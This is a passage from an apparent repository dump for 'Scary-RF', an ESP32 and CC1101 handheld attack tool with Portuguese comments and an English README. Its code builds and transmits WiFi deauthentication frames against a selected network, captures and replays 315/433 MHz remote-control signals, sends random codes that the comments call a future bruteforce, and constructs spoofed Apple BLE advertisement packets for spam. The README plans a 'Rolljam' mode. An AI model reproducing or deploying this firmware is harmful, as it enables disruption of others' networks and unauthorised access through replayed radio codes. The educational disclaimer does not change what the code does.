0xFD, 0x7F, 0xFC, 0xFF, 0xFB,\n  0xFF, 0xFF, 0xFF, 0xFF, 0xFB, 0xFF, 0xFF, 0xFB, 0x7F, 0xEF, 0xF7, 0xFC,\n  0xFF, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n  0x00, 0x00, 0x00, 0xFE, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,\n  0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,\n  0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,\n  0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,\n  0xFF, 0xFF, 0xFF, 0xFF,\n};\n\n\nRCSwitch mySwitch = RCSwitch();\n\nunsigned long receivedValue = 0;\nint receivedBitLength = 0;\nint receivedProtocol = 0;\nconst int rssi_threshold = -75;\nfloat mhz;\n\nstatic const uint32_t subghz_frequency_list[] = {\n  300000000, 303875000, 304250000, 310000000, 315000000, 318000000,\n  390000000, 418000000, 433075000, 433420000, 433920000, 434420000, 434775000, 438900000,\n  868350000, 915000000, 925000000\n};\n\n#define WAVEFORM_SAMPLES 128\nint waveform[WAVEFORM_SAMPLES] = {0};\nint waveformIndex = 0;\n\n// Estrutura para itens do menu\nstruct menu_entry_type {\n  const uint8_t *font;\n  uint16_t icon;\n  const char *name;\n  const menu_entry_type *submenu;\n};\n\n// Estrutura para o estado do menu\nstruct menu_state {\n  uint8_t position;    // posição, índice do array\n  const menu_entry_type *menu; // menu atual\n};\n\n#define ICON_WIDTH 32\n#define ICON_HEIGHT 32\n#define ICON_GAP 4\n#define ICON_BGAP 16\n#define ICON_Y 32 + ICON_GAP\n\n// Itens do submenu para \"Radio Freq\"\nconst menu_entry_type radio_freq_submenu[] = {\n  { u8g2_font_open_iconic_all_4x_t, 211, \"Replay\", NULL },\n  { u8g2_font_open_iconic_all_4x_t, 238, \"Raw\", NULL },\n  { u8g2_font_open_iconic_all_4x_t, 165, \"Analyser\", NULL },\n  { u8g2_font_open_iconic_all_4x_t, 240, \"Random\", NULL },\n  { NULL, 0, NULL, NULL }\n};\n\n// Itens do submenu para \"Wifi\"\nconst menu_entry_type wifi_submenu[] = {\n  { u8g2_font_open_iconic_all_4x_t, 104, \"Evil portal\", NULL },\n  { u8g2_font_open_iconic_all_4x_t, 153, \"Deauther\", NULL },\n  { u8g2_font_open_iconic_all_4x_t, 175, \"Internet Connect\", NULL },\n  { NULL, 0, NULL, NULL }\n};\n\n// Itens do submenu para \"Bluetooth\"\nconst menu_entry_type bluetooth_submenu[] = {\n  { u8g2_font_open_iconic_all_4x_t, 230, \"BLE Spam\", NULL },\n  { NULL, 0, NULL, NULL }\n};\n\n// Entradas do menu principal\nconst menu_entry_type menu_entry_list[] = {\n  { u8g2_font_open_iconic_all_4x_t, 84, \"Radio Freq\", radio_freq_submenu },\n  { u8g2_font_open_iconic_all_4x_t, 247, \"Wifi\", wifi_submenu },\n  { u8g2_font_open_iconic_all_4x_t, 94, \"Bluetooth\", bluetooth_submenu },\n  { u8g2_font_open_iconic_all_4x_t, 129, \"Configuration\", NULL },\n  { NULL, 0, NULL, NULL }\n};\n\nbool in_menu = true; // Variável para rastrear se estamos no menu\n\nvoid draw_menu(struct menu_state *state) {\n  int16_t x = (u8g2.getDisplayWidth() - ICON_WIDTH) / 2; // Centraliza o ícone horizontalmente\n  uint8_t i = state->position;\n\n  u8g2.setFlipMode(3); // Rotaciona a tela\n  u8g2.clearBuffer();\n\n  // Desenha o ícone atual\n  u8g2.setFont(state->menu[i].font);\n  u8g2.drawGlyph(x, ICON_Y, state->menu[i].icon);\n\n  // Desenha o contorno ao redor do ícone atual\n  u8g2.drawFrame(x - 1, ICON_Y - ICON_HEIGHT - 1, ICON_WIDTH + 2, ICON_HEIGHT + 2);\n  u8g2.drawFrame(x - 2, ICON_Y - ICON_HEIGHT - 2, ICON_WIDTH + 4, ICON_HEIGHT + 4);\n  u8g2.drawFrame(x - 3, ICON_Y - ICON_HEIGHT - 3, ICON_WIDTH + 6, ICON_HEIGHT + 6);\n\n  // Desenha o nome da entrada de menu atual\n  u8g2.setFont(u8g2_font_6x10_tf);\n  u8g2.setCursor((u8g2.getDisplayWidth() - u8g2.getStrWidth(state->menu[i].name)) / 2, u8g2.getDisplayHeight() - 5);\n  u8g2.print(state->menu[i].name);\n\n  u8g2.sendBuffer();\n}\n\nvoid to_right(struct menu_state *state) {\n  if (state->menu[state->position + 1].font != NULL) {\n    state->position++;\n  }\n}\n\nvoid to_left(struct menu_state *state) {\n  if (state->position > 0) {\n    state->position--;\n  }\n}\n\nstruct menu_state current_state = { 0, menu_entry_list };\n\nvoid setup() { // ==============================SETUP=============================================\n  Serial.begin(115200);\n\n\n  pinMode(BUTTON_PIN, INPUT_PULLUP);\n  pinMode(FREQUENCY_SWITCH_PIN, INPUT_PULLUP);\n  pinMode(BUTTON_PIN_UP, INPUT_PULLUP);\n  pinMode(BUTTON_PIN_DIR, INPUT_PULLUP);\n  pinMode(BUTTON_PIN_ESQ, INPUT_PULLUP);\n\n  u8g2.begin();\n  u8g2.enableUTF8Print();  // Permite imprimir caracteres UTF-8\n  ELECHOUSE_cc1101.Init();\n\n\n  u8g2.begin();\n  u8g2.clearBuffer();\n  u8g2.setFlipMode(3); //rotaciona tela\n  u8g2.setFont(u8g2_font_6x10_tf);\n\n  u8g2.firstPage();\n  do {\n    u8g2.drawXBMP(0, 0, scary_width, scary_height, scary_bits);\n  } while (u8g2.nextPage());\n  while (digitalRead(BUTTON_PIN_DIR) != LOW && digitalRead(BUTTON_PIN) != LOW && digitalRead(BUTTON_PIN_ESQ) != LOW && digitalRead(BUTTON_PIN_UP) != LOW) {\n    //Aguarda pressionar algo pra sair da tela inicial\n  }\n\n  if (digitalRead(FREQUENCY_SWITCH_PIN) == LOW) {\n    ELECHOUSE_cc1101.setMHZ(315);\n    mhz = 315.00;\n  } else {\n    ELECHOUSE_cc1101.setMHZ(433.92);\n    mhz = 433.00;\n  }\n\n  ELECHOUSE_cc1101.SetRx();\n\n  mySwitch.enableReceive(RX_PIN);\n  mySwitch.enableTransmit(TX_PIN);\n\n  Blesetup();\n}\n\n\n\n\nvoid loop() {\n\n  int8_t event = 0;\n\n  if (digitalRead(BUTTON_PIN_DIR) == LOW) {\n    event = 1; // Representa U8X8_MSG_GPIO_MENU_NEXT\n  } else if (digitalRead(BUTTON_PIN_ESQ) == LOW) {\n    event = 2; // Representa U8X8_MSG_GPIO_MENU_PREV\n  } else if (digitalRead(BUTTON_PIN) == LOW) {\n    event = 3; // Representa U8X8_MSG_GPIO_MENU_SELECT\n  } else if (digitalRead(BUTTON_PIN_UP) == LOW) {\n    event = 4; // Representa a função de voltar para o menu principal\n  }\n\n  if (in_menu) {\n    if (event == 1) {\n      to_right(&current_state);\n    }\n    if (event == 2) {\n      to_left(&current_state);\n    }\n    if (event == 3) {\n      if (current_state.menu[current_state.position].submenu != NULL) {\n        current_state.menu = current_state.menu[current_state.position].submenu;\n        current_state.position = 0;\n      }   else {\n        if (strcmp(current_state.menu[current_state.position].name, \"Replay\") == 0) { //Funçao Replay\n          Detect();\n\n        } //________ End Replay\n\n        if (strcmp(current_state.menu[current_state.position].name, \"Raw\") == 0) { //Funçao RAW\n          while (digitalRead(BUTTON_PIN_UP) != LOW) {\n            Raw();\n          }\n        }\n        //________ End RAW\n        if (strcmp(current_state.menu[current_state.position].name, \"Analyser\") == 0) { //Funçao Analyser\n          while (digitalRead(BUTTON_PIN_UP) != LOW) {\n            Analyser();     \n          }\n        } //________ End ANALYSER\n\n        if (strcmp(current_state.menu[current_state.position].name, \"Random\") == 0) { //Funçao Random\n          while (digitalRead(BUTTON_PIN_UP) != LOW) {\n            if (digitalRead(BUTTON_PIN) == LOW) {\n              SendRandom();\n            }\n          }\n        } //________ End RANDOM\n        if (strcmp(current_state.menu[current_state.position].name, \"Deauther\") == 0) { //Funçao Deauther\n        while (digitalRead(BUTTON_PIN_UP) != LOW) {\n            Deauther();\n        }\n        }//________ End Deauther\n        if (strcmp(current_state.menu[current_state.position].name, \"Evil portal\") == 0) { //Funçao EVIL PORTAL\n        u8g2.clearBuffer();\n        u8g2.setCursor(0, 10);\n        u8g2.print(\"In progress...\");\n        } //________ End Evil\n        if (strcmp(current_state.menu[current_state.position].name, \"BLE Spam\") == 0) { //Funçao Spam\n          while (digitalRead(BUTTON_PIN_UP) != LOW) {                      \n            Bleloop();\n          }\n        } //________ End Spam\n\n      }\n\n    }\n\n    if (event == 4 && current_state.menu != menu_entry_list) {\n      // Se o botão UP for pressionado e estiver em um submenu, volte para o menu principal\n      current_state.menu = menu_entry_list;\n      current_state.position = 0;\n      in_menu = true; // Garante que o menu seja desenhado\n      delay(100);\n    }\n\n    if (in_menu) {\n      draw_menu(&current_state);\n    }\n\n    delay(100); // Atraso para evitar o efeito de bounce\n  }\n}\n"
  },
  {
    "path": "OLD Version/ScaryRF-NoSD-SH1106/Wifi.ino",
    "content": "void Deauther() {/*\n  WiFi.mode(WIFI_STA);\n  esp_wifi_start();\n\n  // 2. Variáveis de estado\n  int selectedNetwork = 0;\n  int networkCount = 0;\n  bool attacking = false;\n  unsigned long lastDebounce = 0;\n  const int debounceDelay = 200;\n\n  // 3. Scan inicial\n  u8g2.clearBuffer();\n  u8g2.setCursor(0, 30);\n  u8g2.print(\"Scanneando redes...\");\n  u8g2.sendBuffer();\n  \n  WiFi.scanDelete();\n  networkCount = WiFi.scanNetworks(false, true);\n  \n  // 4. Loop principal\n  while(true) {\n    // Verifica botão de saída\n    if(digitalRead(BUTTON_PIN_UP) == LOW && millis() - lastDebounce > debounceDelay) {\n      if(attacking) {\n        attacking = false;\n        u8g2.clearBuffer();\n        u8g2.setCursor(0, 30);\n        u8g2.print(\"Ataque cancelado!\");\n        u8g2.sendBuffer();\n        delay(1000);\n      } else {\n        break;\n      }\n      lastDebounce = millis();\n    }\n\n    // Modo seleção de rede\n    if(!attacking) {\n      // Navegação\n      if(digitalRead(BUTTON_PIN_DIR) == LOW && millis() - lastDebounce > debounceDelay) {\n        selectedNetwork = (selectedNetwork + 1) % networkCount;\n        lastDebounce = millis();\n      }\n      else if(digitalRead(BUTTON_PIN_ESQ) == LOW && millis() - lastDebounce > debounceDelay) {\n        selectedNetwork = (selectedNetwork - 1 + networkCount) % networkCount;\n        lastDebounce = millis();\n      }\n\n      // Exibe rede selecionada\n      u8g2.clearBuffer();\n      u8g2.setCursor(0, 10);\n      u8g2.print(\"Selecione a rede:\");\n      u8g2.setCursor(0, 30);\n      u8g2.print(WiFi.SSID(selectedNetwork));\n      u8g2.setCursor(0, 50);\n      u8g2.print(\"OK:DOWN  Volta:UP\");\n      u8g2.sendBuffer();\n\n      // Inicia ataque\n      if(digitalRead(BUTTON_PIN) == LOW && millis() - lastDebounce > debounceDelay) {\n        attacking = true;\n        lastDebounce = millis();\n      }\n    }\n    // Modo ataque\n    else {\n      // Prepara pacote de deautenticação\n      uint8_t deauthPacket[26] = {\n        0xC0, 0x00, 0x00, 0x00,             // Type: Management, Subtype: Deauth\n        0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, // Destination (broadcast)\n        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // Source (substituir)\n        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // BSSID (substituir)\n        0x00, 0x00,                         // Sequence number\n        0x01, 0x00                          // Reason: Unspecified\n      };\n\n      // Configura com BSSID real\n      memcpy(&deauthPacket[10], WiFi.BSSID(selectedNetwork), 6);\n      memcpy(&deauthPacket[16], WiFi.BSSID(selectedNetwork), 6);\n\n      // Feedback visual\n      u8g2.clearBuffer();\n      u8g2.setCursor(0, 10);\n      u8g2.print(\"Atacando:\");\n      u8g2.setCursor(0, 30);\n      u8g2.print(WiFi.SSID(selectedNetwork));\n      u8g2.setCursor(0, 50);\n      u8g2.print(\"UP p/ parar\");\n      u8g2.sendBuffer();\n\n      // Envia pacote (10x para maior eficácia)\n      for(int i = 0; i < 10; i++) {\n        esp_wifi_80211_tx(WIFI_IF_STA, deauthPacket, sizeof(deauthPacket), false);\n        delay(50);\n      }\n    }\n\n    delay(10);\n  }\n\n  // Finalização\n  esp_wifi_stop();\n  u8g2.clearBuffer();\n  u8g2.setCursor(0, 30);\n  u8g2.print(\"Operacao finalizada!\");\n  u8g2.sendBuffer();\n  delay(1000);\n*/}\n"
  },
  {
    "path": "OLD Version/ScaryRF128x32-OLD/ScaryRFTool-Tela-128x32.ino",
    "content": "#include <ELECHOUSE_CC1101_SRC_DRV.h>\n#include <RCSwitch.h>\n#include <Wire.h>\n#include <Adafruit_GFX.h>\n#include <Adafruit_SSD1306.h>\n\n#define RX_PIN 4         // Pino de recepção\n#define TX_PIN 2         // Pino de transmissão\n#define BUTTON_PIN 14    // Pino do botão\n#define BUTTON_PIN_DIR 27    // Pino do botão\n#define BUTTON_PIN_ESQ 12    // Pino do botão\n#define BUTTON_PIN_UP 26    // Pino do botão\n#define FREQUENCY_SWITCH_PIN 13 // Pino do interruptor para mudar a frequência\n#define OLED_RESET 22    // Pino de reset do OLED\n#define SCREEN_WIDTH 128 // Largura da tela OLED\n#define SCREEN_HEIGHT 32 // Altura da tela OLED\n\nAdafruit_SSD1306 display(SCREEN_WIDTH, SCREEN_HEIGHT, &Wire, OLED_RESET);\nRCSwitch mySwitch = RCSwitch();\n\nunsigned long receivedValue = 0; // Variável para armazenar o valor recebido\nint receivedBitLength = 0;       // Comprimento do sinal recebido\nint receivedProtocol = 0;        // Protocolo do sinal recebido\nconst int rssi_threshold = -75; // Limiar de RSSI para considerar um sinal como forte o suficiente (Analizador de frequencia)\n\nstatic const uint32_t subghz_frequency_list[] = {\n    /* Lista de frequências em MHz */\n    300000000, 303875000, 304250000, 310000000, 315000000, 318000000,  // Faixa 300-348 MHz\n    390000000, 418000000, 433075000, 433420000, 433920000, 434420000, 434775000, 438900000,  // Faixa 387-464 MHz\n    868350000, 915000000, 925000000  // Faixa 779-928 MHz\n};\n\n#define WAVEFORM_SAMPLES 128\nint waveform[WAVEFORM_SAMPLES] = {0};\nint waveformIndex = 0;\n\nvoid setup() {\n  Serial.begin(115200);\n\n  pinMode(BUTTON_PIN, INPUT_PULLUP); // Configura o pino do botão baixo como entrada com pull-up\n  pinMode(FREQUENCY_SWITCH_PIN, INPUT_PULLUP); // Configura o pino do seletor de frequencia\n  pinMode(BUTTON_PIN_UP, INPUT_PULLUP); // Configura o pino do botão cima como entrada com pull-up\n  pinMode(BUTTON_PIN_DIR, INPUT_PULLUP); // Configura o pino do botão direito como entrada com pull-up\n  pinMode(BUTTON_PIN_ESQ, INPUT_PULLUP); // Configura o pino do botão esquerda como entrada com pull-up\n\n  if (!display.begin(SSD1306_SWITCHCAPVCC, 0x3C)) { // Inicializa o display OLED\n    Serial.println(F(\"Falha ao iniciar o display OLED\"));\n    while (1); // Fica preso aqui se houver falha no display\n  }\n\n  display.clearDisplay();\n  display.setTextSize(1);\n  display.setTextColor(SSD1306_WHITE);\n  display.setCursor(0, 0);\n  display.println(\"      |--------|\");\n  display.println(\"      |Scary-RF|\");\n  display.println(\"      |  TOOL  |\");\n  display.println(\"      |________|\");\n  display.display();\n  delay(2000);\n  display.clearDisplay();\n\n\n  ELECHOUSE_cc1101.Init(); // Inicializa o módulo CC1101\n\n  \n  if (digitalRead(FREQUENCY_SWITCH_PIN) == LOW) { //O botão escolhe a frequencia\n    ELECHOUSE_cc1101.setMHZ(315); // Muda a frequência para 315MHz\n  } else {\n    ELECHOUSE_cc1101.setMHZ(433.92); // Mantém a frequência em 433.92MHz\n  }\n  \n  ELECHOUSE_cc1101.SetRx(); // Configura o módulo CC1101 para receber\n\n\n  mySwitch.enableReceive(RX_PIN); // Habilita a recepção no pino RX\n  mySwitch.enableTransmit(TX_PIN); // Habilita a transmissão no pino TX\n}\n\nvoid loop() {\n  if (mySwitch.available()) { // Se houver dados disponíveis para leitura\n    \n    receivedValue = mySwitch.getReceivedValue(); // Lê o valor recebido\n    receivedBitLength = mySwitch.getReceivedBitlength(); // Obtém o comprimento do sinal recebido\n    unsigned int* rawSignal = mySwitch.getReceivedRawdata(); // Obtém os dados brutos do sinal\n    receivedProtocol = mySwitch.getReceivedProtocol(); // Obtém o protocolo do sinal recebido\n\n    \n    if (receivedValue != 0) { // Se o valor recebido for diferente de 0\n      display.clearDisplay();\n      display.setCursor(0, 0);\n      display.println(\"Received Signal:\");\n      display.setCursor(0, 10);\n      display.println(receivedValue);\n      display.setCursor(0, 20);\n      display.printf(\"Bit:%d\", receivedBitLength);\n      display.printf(\"  Ptc:%d\", receivedProtocol);\n      display.display();\n\n\n      mySwitch.resetAvailable(); // Reinicia o buffer de dados recebidos\n    }\n  }\n\n  if (digitalRead(BUTTON_PIN) == LOW && receivedValue != 0) { // Se o botão for pressionado e houver um valor recebido\n    mySwitch.disableReceive(); // Desabilita a recepção\n    delay(100);\n    mySwitch.enableTransmit(TX_PIN); // Habilita a transmissão\n    ELECHOUSE_cc1101.SetTx(); // Configura o módulo CC1101 para transmitir\n\n    display.clearDisplay();\n    display.setCursor(0, 0);\n    display.println(\"Received Signal:\");\n    display.setCursor(0, 10);\n    display.println(receivedValue);\n    display.setCursor(0, 20);\n    display.println(\"Sending...\");\n    display.display();\n\n    mySwitch.setProtocol(receivedProtocol); // Configura o protocolo para o valor recebido\n    mySwitch.send(receivedValue, receivedBitLength); // Envia o valor recebido com o comprimento do sinal\n\n\n    delay(500);\n    display.clearDisplay();\n    display.setCursor(0, 0);\n    display.println(\"Received Signal:\");\n    display.setCursor(0, 10);\n    display.println(receivedValue);\n    display.setCursor(0, 20);\n    display.println(\"OK\");\n    display.display();\n\n    ELECHOUSE_cc1101.SetRx(); // Configura o módulo CC1101 para receber novamente\n    mySwitch.disableTransmit(); // Desabilita a transmissão\n    delay(100);\n    mySwitch.enableReceive(RX_PIN); // Habilita a recepção\n  }\n\n  if (digitalRead(FREQUENCY_SWITCH_PIN) == LOW) {\n    ELECHOUSE_cc1101.setMHZ(315); // Muda a frequência para 315MHz\n  } else {\n    ELECHOUSE_cc1101.setMHZ(433.92); // Mantém a frequência em 433.92MHz\n  }\n\n  //FUNÇÃO RANDOM (Futuramente Bruteforce eu acho)______________________\n\n   if (digitalRead(BUTTON_PIN_DIR) == LOW){\n\n    display.clearDisplay();\n  display.setCursor(0, 0);\n  display.println(\"Sending Random:\");\n  display.display();\n\n  delay(100);\n\n  // Gera uma sequência aleatória de 9 dígitos\n  unsigned long randomValue = 100000000 + random(900000000);\n\n\n       int randomBitLength = 28; // Ajuste conforme necessário 433\n       int randomProtocol = 6;   // Ajuste conforme necessário 433\n       \n  if (digitalRead(FREQUENCY_SWITCH_PIN) == LOW) {\n        // Configura o protocolo e comprimento do sinal\n       randomBitLength = 24; // Ajuste conforme necessário\n       randomProtocol = 1;   // Ajuste conforme necessário\n  }\n\n  mySwitch.disableReceive();\n  delay(100);\n  mySwitch.enableTransmit(TX_PIN);\n  ELECHOUSE_cc1101.SetTx();\n\n  display.clearDisplay();\n  display.setCursor(0, 0);\n  display.println(\"Sending Random:\");\n  display.setCursor(0, 10);\n  display.println(randomValue);\n  display.setCursor(0, 20);\n  display.println(\"Sending...\");\n  display.display();\n\n  mySwitch.setProtocol(randomProtocol);\n  mySwitch.send(randomValue, randomBitLength);\n\n  delay(100);\n  display.clearDisplay();\n  display.setCursor(0, 0);\n  display.println(\"Sending Random:\");\n  display.setCursor(0, 10);\n  display.println(randomValue);\n  display.setCursor(0, 20);\n  display.println(\"OK\");\n  display.display();\n\n  ELECHOUSE_cc1101.SetRx();\n  mySwitch.disableTransmit();\n  delay(100);\n  mySwitch.enableReceive(RX_PIN);\n    \n    }\n\n    // Função analizadora de frequencia e potencia _________________________ AOW POTENCIA\n\n   if (digitalRead(BUTTON_PIN_UP) == LOW){\n\n        display.clearDisplay();\n        display.setCursor(0, 0);\n        display.printf(\"Analyzing...\");\n        display.display();\n        \n    while (digitalRead(BUTTON_PIN_UP) == LOW) {\n        // Enquanto o botão de aumento de frequência estiver pressionado       \n        int rssi;\n        uint32_t detectedFrequency = 0;\n        int detectedRssi = -100;\n\n        // Varredura Fina: Varre a lista de frequências definida em subghz_frequency_list\n        for (size_t i = 0; i < sizeof(subghz_frequency_list) / sizeof(subghz_frequency_list[0]); i++) {\n            uint32_t frequency = subghz_frequency_list[i];\n\n            // Configura a frequência atual no módulo CC1101\n            ELECHOUSE_cc1101.setMHZ((float)frequency / 1000000.0);\n            ELECHOUSE_cc1101.SetRx();\n            delayMicroseconds(3500);\n            rssi = ELECHOUSE_cc1101.getRssi(); // Obtém o RSSI do sinal recebido\n\n            // Verifica se o sinal é forte o suficiente e se é mais forte do que os sinais anteriores\n            if (rssi >= rssi_threshold && rssi > detectedRssi) {\n                detectedRssi = rssi;\n                detectedFrequency = frequency;\n            }\n        }\n\n        // Se uma Frequência FINE foi detectada, exibe as informações no display OLED\n        if (detectedFrequency != 0) {\n            display.clearDisplay();\n            display.setCursor(0, 0);\n            display.printf(\"Signal detected: \");\n            display.setCursor(0, 10);\n            display.printf(\"Frequency:%.2fMHz\", (float)detectedFrequency / 1000000.0);\n            display.setCursor(0, 20);\n            display.printf(\"RSSI:%ddBm\", detectedRssi);\n            display.display();\n        }\n\n        delay(600);\n    }\n    ELECHOUSE_cc1101.SetRx(); // Configura o módulo CC1101 para receber novamente\n    mySwitch.disableTransmit(); // Desabilita a transmissão\n    delay(100);\n    mySwitch.enableReceive(RX_PIN); // Habilita a recepção\n   }\n\n\n   //RAW WAVEFORM________________________\n\n   while (digitalRead(BUTTON_PIN_ESQ) == LOW)\n    {\n        display.clearDisplay(); \n        float mhz = 0;       \n\n        // Lê continuamente os valores do pino RX e atualiza a forma de onda\n        for (int i = 1; i < SCREEN_WIDTH; i++)\n        {            \n                           \n                int rssi = ELECHOUSE_cc1101.getRssi();\n                waveform[i] = map(rssi, -100, -40, 0, 1023); // Mapeia o RSSI para valores de forma de onda\n              \n             if(rssi < -75){              \n                 // Configura a frequência atual no módulo CC1101            \n                if(i  % 2 == 0){\n                  ELECHOUSE_cc1101.setMHZ(433.92);          \n                  ELECHOUSE_cc1101.SetRx();\n                  mhz = 433.92;\n                }\n                else{\n                  ELECHOUSE_cc1101.setMHZ(315);          \n                  ELECHOUSE_cc1101.SetRx();\n                  mhz = 315.00;\n                }\n            }\n            else{\n              display.fillRect(0, 0, 40, 7, SSD1306_BLACK);\n              display.setCursor(0, 0);\n              display.println(mhz);\n            }\n\n    \n             \n               \n\n            // Conecta os pixels consecutivos com uma linha\n            int prevY = map(waveform[i - 1], 0, 1023, SCREEN_HEIGHT - 1, 8); //Ponto anterior\n            int currY = map(waveform[i], 0, 1023, SCREEN_HEIGHT - 1, 8);     // prox ponto\n\n            display.drawLine(i - 1, prevY, i, currY, SSD1306_WHITE); //liga os pontos\n\n            display.display();\n            delay(30); //Controle da taxa de atualizaçao da tela\n\n            if (i == SCREEN_WIDTH){\n              display.clearDisplay();\n              display.setCursor(0, 0);\n              display.println(mhz);\n              i = 1;\n            }\n            \n            if (digitalRead(BUTTON_PIN_ESQ) != LOW){\n//              if (tem raw no bufffer){\n//              display.fillRect(0, 0, 40, 7, SSD1306_BLACK);\n//              display.setCursor(0, 0);\n//              display.println(\"Press to Send RAW:\");\n//              esperar açao de botao\n//                 if (botao para Baixo){\n//                    envia sinal\n//                  }\n//                 if (botao Esq){\n//                  break;\n//                 }\n//              }\n              break;\n           }\n        }\n\n        delay(500); // Aguarda um pouco antes de começar a próxima leitura\n    }\n    \n} //FIM LOOP\n"
  },
  {
    "path": "README.md",
    "content": "# Scary-RF\n\n<p align=\"center\">\n  <img src=\"Placa.jpg\" height=\"425\"/>\n  <img src=\"Scary_gif.gif\" height=\"600\"/>\n</p>\n\n<p align=\"center\">\n  <b>Low-cost • Open-Source • ESP32 + CC1101 • Sub-GHz RF Tool</b>\n</p>\n\n---\n\n## 📡 Overview\n\nThe **Scary-RF Tool** is a low-cost, open-source Sub-GHz RF research device built using an **ESP32** and a **CC1101 transceiver**.\n\nIt is designed for:\n\n- RF signal capture  \n- Replay testing (Replay Attack)  \n- Frequency analysis  \n- RAW waveform visualization  \n- Signal storage and playback  \n\nThis project focuses on **educational, experimental, and RF research purposes**.\n\n---\n\n## ⚠️ Disclaimer\n\nThis project is intended for **educational and research purposes only**.\n\nThe author is not responsible for misuse, illegal activities, or damage caused by this device.\n\nAlways comply with your local laws and regulations when working with radio frequency transmissions.\n\n---\n\n## 🛠 Hardware\n\n### Core Components\n\n- **ESP32** (multiple versions supported)\n- **CC1101 Sub-GHz Transceiver**\n- **1.3” OLED Display (SH1106 128x64)**\n- **MicroSD Card Module**\n- Push Buttons (navigation)\n- Power Switch\n- Frequency Selection Switch (315 / 433 MHz)\n- Lithium Battery (recycled or new)\n- Charging Regulator Board\n- Custom etched copper PCB\n\n---\n\n\n## 🚀 Features\n\n- 📡 Capture RF signals (315 / 433 MHz)\n- 🔁 Replay captured signals\n- 💾 Save and delete captures on SD card\n- 📊 RAW waveform capture and visualization\n- 🔍 Frequency identification (300–928 MHz)\n- 🎲 Random code transmission (315–433 MHz)\n- 📟 OLED real-time display\n- 📢 BLE spam transmission\n\n---\n\n## 🔌 Hardware Pinout (ESP32)\n\n| Component      | Pin | Function                        |\n|---------------|------|--------------------------------|\n| CC1101 RX     | 4    | RF Data Reception              |\n| CC1101 TX     | 2    | RF Data Transmission           |\n| SD CS         | 17   | Chip Select                    |\n| SD MISO       | 34   | SPI MISO                       |\n| SD MOSI       | 13   | SPI MOSI                       |\n| SD SCK        | 14   | SPI Clock                      |\n| BTN UP        | 27   | Navigate / Exit                |\n| BTN DOWN      | 25   | Navigate / Save                |\n| BTN LEFT      | 26   | Navigate / Library             |\n| BTN RIGHT     | 32   | Navigate / Delete              |\n| BTN OK        | 33   | Select / Transmit              |\n| FREQ SWITCH   | 12   | 315 / 433 MHz Selector         |\n\n---\n\n## 💻 Installation\n\n### Requirements\n\n- Arduino IDE or PlatformIO\n- ESP32 Board Package\n- Required libraries:\n  - ELECHOUSE_CC1101\n  - Adafruit_SH1106 (or SH1106 compatible)\n  - SD\n  - SPI\n  - Wire\n\n### Flashing\n\n1. Connect ESP32 via USB  \n2. Select correct board  \n3. Compile and upload firmware  \n4. Insert SD card  \n5. Power on device  \n\n---\n\n## 🗂 PCB Wires\n\n  <img src=\"PCB/SkemaSD-SH1106.png\"/>\n\n---\n\n## 🧠 Roadmap\n\n- [x] RAW capture  \n- [x] Deauther  \n- [ ] BLE spam improvements  \n- [ ] Rolljam cooperative mode (you and another Scary-RF)  \n- [ ] Web-based file sharing (share captures)  \n- [ ] ESP-NOW remote control (control Scary-RF from other devices)  \n- [ ] Improved frequency analyzer  \n\n\n---\n\n## 🔬 Intended Use Cases\n\n- RF security research  \n- Remote control protocol analysis  \n- Sub-GHz experimentation  \n- Learning about radio communication  \n- Embedded systems development  \n\n---\n\n## 📜 License\n\nThis project is open-source.\n\nYou are free to modify, improve, and distribute it under the chosen license.\n\n---\n\n## 🤝 Contributing\n\nPull requests are welcome.\n\nIf you find bugs or want to improve features, feel free to open an issue.\n\n---\n\n<p align=\"center\">\n  Built with ESP32, curiosity, and a bit of chaos 👻\n</p>\n"
  },
  {
    "path": "ScaryRF-V3/Blespam.ino",
    "content": "// ==================== CONFIGURAÇÕES DE BLE ====================\n#define BLE_SPAM_DELAY 40\n\n// Contador global para BLE\nstatic int bleCounter = 1;\nstatic NimBLEAdvertising *pAdvertising;\n\n// ==================== SETUP BLE ====================\nvoid Blesetup() {\n  Serial.println(F(\"Init BLE...\"));\n  showMessage(\"Init BLE...\");\n\n  NimBLEDevice::init(\"\");\n\n  esp_ble_tx_power_set(ESP_BLE_PWR_TYPE_DEFAULT, ESP_PWR_LVL_P9);\n  esp_ble_tx_power_set(ESP_BLE_PWR_TYPE_ADV, ESP_PWR_LVL_P9);\n  esp_ble_tx_power_set(ESP_BLE_PWR_TYPE_SCAN, ESP_PWR_LVL_P9);\n\n  NimBLEServer *pServer = NimBLEDevice::createServer();\n  pAdvertising = pServer->getAdvertising();\n\n  Serial.println(F(\"BLE OK!\"));\n}\n\n// ==================== GERA DADOS DE ADVERTISEMENT ====================\nNimBLEAdvertisementData getOAdvertisementData() {\n  NimBLEAdvertisementData randomAdvertisementData = NimBLEAdvertisementData();\n  uint8_t packet[17];\n  uint8_t i = 0;\n\n  packet[i++] = 16;    // Packet Length\n  packet[i++] = 0xFF;  // Packet Type (Manufacturer Specific)\n  packet[i++] = 0x4C;  // Packet Company ID (Apple, Inc.)\n  packet[i++] = 0x00;  // ...\n  packet[i++] = 0x0F;  // Type\n  packet[i++] = 0x05;  // Length\n  packet[i++] = 0xC1;  // Action Flags\n\n  const uint8_t types[] = { 0x27, 0x09, 0x02, 0x1e, 0x2b, 0x2d, 0x2f, 0x01, 0x06, 0x20, 0xc0 };\n  packet[i++] = types[rand() % sizeof(types)];  // Action Type\n\n  esp_fill_random(&packet[i], 3); // Authentication Tag\n  i += 3;\n\n  packet[i++] = 0x00;  // ???\n  packet[i++] = 0x00;  // ???\n  packet[i++] = 0x10;  // Type ???\n\n  esp_fill_random(&packet[i], 3);\n\n  randomAdvertisementData.addData(std::string((char *)packet, 17));\n  return randomAdvertisementData;\n}\n\n// ==================== LOOP BLE SPAM ====================\nvoid Bleloop() {\n  bleCounter = 